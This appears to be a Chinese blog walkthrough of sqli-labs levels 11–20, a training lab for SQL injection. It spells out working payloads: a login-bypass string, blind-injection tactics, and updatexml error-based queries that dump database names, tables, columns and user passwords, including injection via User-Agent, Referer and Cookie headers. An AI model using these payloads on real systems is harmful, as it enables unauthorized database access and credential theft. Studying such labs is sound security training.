sqli-labs 11-20关

sqli-labs 11-20关

Less-11
从这一关开始就进入了post的世界
进入页面
sqli-labs 11-20关随便输入出现报错信息
sqli-labs 11-20关
我们在输入框输入万能密码尝试一下admin'or'=1'#,密码随意。返回正确的结果。
sqli-labs 11-20关
详情看上篇文章
Less-12:
闭合方式")
Less-13:
闭合方式**’)**。这里可以用下布尔类型的盲注。猜数据库的第一位,然后挨着对每一位进行测试。
Less-14
双引号闭合",没有显示位和报错信息,用时间延迟型注入法。
Less-15/16
15关是单引号闭合,16关是双引号加括号闭合,两者用布尔或延时注入。
Less-17
呃 我随便输了点东西 然后就被打脸了。
行吧!看源代码吧。我们可以在源代码中看到一个函数。check-input()函数。
sqli-labs 11-20关在这里我们可以看到,源码中对于value进行了过滤:
默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您 不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可 以使用函数 get_magic_quotes_gpc() 进行检测。

使用updatexml函数。
(·)。updatexml()函数是MySQL对xml文档数据进行查询和修改的xpath函数
(·)。updatexml(xml_target,xpath_expr,new_xml)
(·)。xml_target :原来的xml,也就是要替换的目标;
(·)。xpath_expr :xpath的表达式;
(·)。new_xml :替换后的xml;
(·)。这一段的意思就是,用new_xml把xml_target中包含xpath_expr的部分节点(包括xml_target)替换掉。
开始注入:
1.爆数据库名:
a' or updatexml(1,concat('#',(select database())),1)#
sqli-labs 11-20关
2.爆表名:
' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#
sqli-labs 11-20关
3.爆字段名:
' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security')),1)#
![在这里插入sqli-labs 11-20关错误:查询数据时,并不能直接用简单的select concat(username)函数,这样会引起报错。
sqli-labs 11-20关错误原因: 在同一个语句中,不能先查询表中的值再update这个表,可以先把查询出的值作为一个派生表,然后在这个派生表里面再次进行查询。
4.爆出所有用户和密码:
1.' or updatexml(1,concat('#',(select * from (select concat_ws
2.(' ',id,username,password) from users limit 0,1) a)),1)#
注://concat_ws()函数与concat()函数类似,只不过在每个数据间多了分隔符
Less-18:
sqli-labs 11-20关
从源代码可以直接了解到对uname和passwd进行了check_input()函数的处理,所以我们在输入uname 和 passwd 上 进行注入是不行的,但是在代码中,我们看到了 insert()
这里可以用burp_suite来进行抓包修改,
抓到包之后修改User-Agent就行了,我在这关还是用的updatexml,
sqli-labs 11-20关
Clause为想要查询的子句。
注意: 在这个语句中,先检查语句是否闭合,再执行报错函数updatexml,如果报错语句updatexml没有报错才执行插入语句insert(这一步才检查插入语句参数),如果updatexml函数直接报错,也就不检查插入语句参数了。源码的insert语句中原本有三个一(1,1*,1**),然后1可以被or条件替换,所以可以当作一个语句,后面1和1**是为了和insert数量一致。如果updatexml报错的话,那么1和1要不要都无所谓,但是改成正确的语句例如将concat(’#’,(Clause),’#’)改为concat(Clause)的话,不要1*和1就会报错说字段不一样,加上1*和1**就是正常页面。
————————————————

原文链接:https://blog.****.net/weixin_43733035/article/details/86597114
Less-19:
19关是修改http头里面的referer。
19关我们要注入的语句需要减少一个凑字段的1.
注入语句原型为:' or updatexml(1,concat('#',(clause),'#'),1),1)#
Less-20:
输入正确的用户名和密码后,页面显示为
sqli-labs 11-20关发现给出了太多地方,我用了一个’ or updatexml(1,concat(’#’,(select database()),’#’),1)#语句将它修改了不同的地方,最后发现只有插入到cookie里面可以注入,于是我们将查询语句插入到cooker中就行了,具体参考Less-18。
由于20关注入语句为查询语句,使用联合注入也可以,语句为:
' union select 1,2,database() #